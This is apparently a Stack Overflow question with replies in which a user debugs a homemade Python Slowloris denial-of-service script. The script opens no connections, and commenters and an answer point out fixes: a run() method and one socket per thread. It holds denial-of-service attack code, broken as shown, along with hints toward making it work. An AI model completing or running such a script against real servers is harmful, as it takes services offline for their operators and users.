0

I am trying to make my own pyloris script, but I am not getting any connections; here is what I have:

#!/usr/bin/python
import sys,socket
import threading
from time import sleep


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = sys.argv[1]
PORT = 80
t = int(sys.argv[3])
threads = []

class Slowloris(threading.Thread):
 def Slowloris(self):
    s.connect((HOST, int(PORT)))
    s.send('GET / HTTP/1.0\nHost: ' + HOST + '\n')
    sleep(1)
    s.close()
for num in range(0, t):
 try:
    print "Started thread",num
    thread = Slowloris()
    thread.start()
    threads.append(thread)
 except:
     exit(0)

for thread in threads:
 thread.join()

and i get absolutely no connections from my sockets, thanks in advance -_- i do get output, here it is:

D4zk1tty@kali:~$ ./slowloris.py 127.0.0.1 80 10

Started thread 0

Started thread 1

Started thread 2

Started thread 3

Started thread 4

Started thread 5

Started thread 6

Started thread 7

Started thread 8

Started thread 9

Noel
  • 10,152
  • 30
  • 45
  • 67
D4zk1tty
  • 123
  • 1
  • 3
  • 15
  • for one thing, your constructor should be declared: `def __init__(self):` – Markku K. May 09 '13 at 03:15
  • Another issue is that you need one socket object per thread. As written the script will call `connect()` 10 times on the same socket object. – Armin Rigo May 09 '13 at 10:47

1 Answers1

0
def Slowloris(self):

should be

def run(self):
Armin Rigo
  • 12,048
  • 37
  • 48